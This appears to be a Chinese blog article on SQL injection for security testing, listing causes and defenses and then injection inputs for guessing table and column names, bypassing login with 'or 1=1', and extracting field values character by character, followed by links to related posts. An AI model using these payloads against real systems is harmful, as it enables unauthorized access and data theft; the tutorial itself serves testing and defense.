不管是web界面还是app,都会涉及表单输入和提交,如果程序员没有对提交的字符进行过滤或者特殊处理,很容易会产生问题,这里讲的的sql注入就是其中一种方式,在表单中输入sql语句达到进入系统的目的。

sql注入的原理就是上面提到的通过构造特殊的输入作为参数传入web或者app

sql注入产生原因有几个原因:

1、不当的类型处理

2、不安全的数据库配置

3、不合理的查询处理

4、不当的错误处理

5、转义字符处理不合适

6、多个提交处理不当

sql注入防护

1、不要相信用户的输入,对任何输入都需要做校验(比如长度,正则,等)

2、不使用动态拼接sql

3、不使用管理员权限的数据库连接(每个用户单独设置权限)

4、机密信息不直接存放,可以加密或者不直接打印

5、异常信息尽可能使用内部错误码

sql注入方法

猜表名:

and (select count(*) from 表名) <>0

and exists (select * from 表名)

猜列名:

and (select count(列名) from 表名) <> 0

and exists (select 列名 from 表名)

一般用户名为user 密码为passwd/password

猜列名长度:

and (select length(列名) from 表名) = 2

绕过身份验证:

or 1=1

猜表的条数(一般用在判断账号个数):

and 0<(select count(*) from 表名)

and 1<(select count(*) from 表名)

猜字段第一个字符:

and 1=(select count(*) from 表名 where substr(列名,1,1)='a')

若返回正常,则可继续猜第二位

and 1=(select count(*) from 表名 where substr(列名,1,2)='ab')

通过asscii码猜字符:

and 1=(select count(*) from 表名 where ascii(substr(列名,1,1))='49')

安全测试之sql注入的更多相关文章

  1. web安全测试&渗透测试之sql注入~~

    渗透测试概念: 详见百度百科 http://baike.baidu.com/link?url=T3avJhH3_MunEIk9fPzEX5hcSv2IqQlhAfokBzAG4M1CztQrSbwsR ...

  2. 【数据库】软件安全测试之SQL注入

    这些年我们发现越来越多的公司开始注重安全测试了,为什么?因为安全测试可以在某种程度上可以排查掉你项目的一些安全漏洞,这样你的系统上线后才会相对安全,才有可能尽量避免来自外部的攻击.每一年互联网都会发生 ...

  3. 渗透测试之sql注入点查询

    一切教程在于安全防范,不在于攻击别人黑别人系统为目的 寻找sql注入点方法: 拿到网页后进行查找注入点: 1.通过单引号 ' ;    在 url 后面输入单引号进行回车(如果报错可能存在sql注入为 ...

  4. 渗透测试之sql注入验证安全与攻击性能

    由于渗透测试牵涉到安全性以及攻击性,为了便于交流分享,本人这里不进行具体网址的透露了. 我们可以在网上查找一些公司官方网站如(http://www.XXXXXX.com/xxxx?id=1) 1.拿到 ...

  5. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案(转)

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

  6. SQL注入攻防入门详解

    =============安全性篇目录============== 本文转载 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机 ...

  7. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

  8. [转]SQL注入攻防入门详解

    原文地址:http://www.cnblogs.com/heyuquan/archive/2012/10/31/2748577.html =============安全性篇目录============ ...

  9. 【转载】SQL注入攻防入门详解

    滴答…滴答…的雨,欢迎大家光临我的博客. 学习是快乐的,教育是枯燥的. 博客园  首页  博问  闪存    联系  订阅 管理 随笔-58 评论-2028 文章-5  trackbacks-0 站长 ...

随机推荐

  1. PlayFramework 一步一步来 之 页面模板引擎

    Play的魔板引擎本人认为可以说是为full stack Developers量身打造的功能.在原有的html页面基础上,只需要在html文件名后缀名前面加上”.scala“,就可以在页面上写Scal ...

  2. 在html中使用javascript总结

    对于初学者运行代码的第一步,首先是怎么把你所写的js代码与html代码之间关联起来,只有关联了,js才能控制html中的代码,进而达到控制页面的目的,我总结了html引用js的方法,一方面可以时时复习 ...

  3. 如何在线更新visual studio installer2017

    更新最后100M文件需要开启全局代理才能成功,不然需要等2个小时才能成功!墙太深了..

  4. LOJ-10109(欧拉回路)

    题目链接:传送门 思路: 就是简单的找欧拉回路,不过要注意dfs边时要将边的编号/2,不然会分不清那条边每被遍历. #include<iostream> #include<cstdi ...

  5. ProcessingElement.h

    processing element模块 #ifndef __NOXIMPROCESSINGELEMENT_H__ #define __NOXIMPROCESSINGELEMENT_H__ #incl ...

  6. 简述Oracle IOT(Index Organized Table)

    转:http://blog.itpub.net/17203031/viewspace-744477 对关系型数据库产品(RDBMS)而言,一个重要特性就是:数据信息都被组织为二维数据表,信息的表达可以 ...

  7. Exp2 后门原理与实践 20154320 李超

    目录- 基础问题回答- 基础知识- 实验过程- 实验心得体会 基础知识问答 1. 例举你能想到的一个后门进入到你系统中的可能方式?从不安全的网站上下载的程序可能存在后门. 2. 例举你知道的后门如何启 ...

  8. VUE项目 npm run build卡住不动,也不报错

    npm config set registry http://registry.cnpmjs.org try again npm run build 居然能动了....

  9. vue webpack打包后 iconfont引入路径不对

    vue webpack打包后 iconfont引入路径不对 { test: /\.(woff2?|eot|ttf|otf)(\?.*)?$/, loader: 'url-loader', option ...

  10. 2000 ASCII码排序

    声明:从今天开始每周至少做七道杭电ACM题,锻炼思考能力. 2000  ASCII码排序 Problem Description 输入三个字符后,按各字符的ASCII码从小到大的顺序输出这三个字符. ...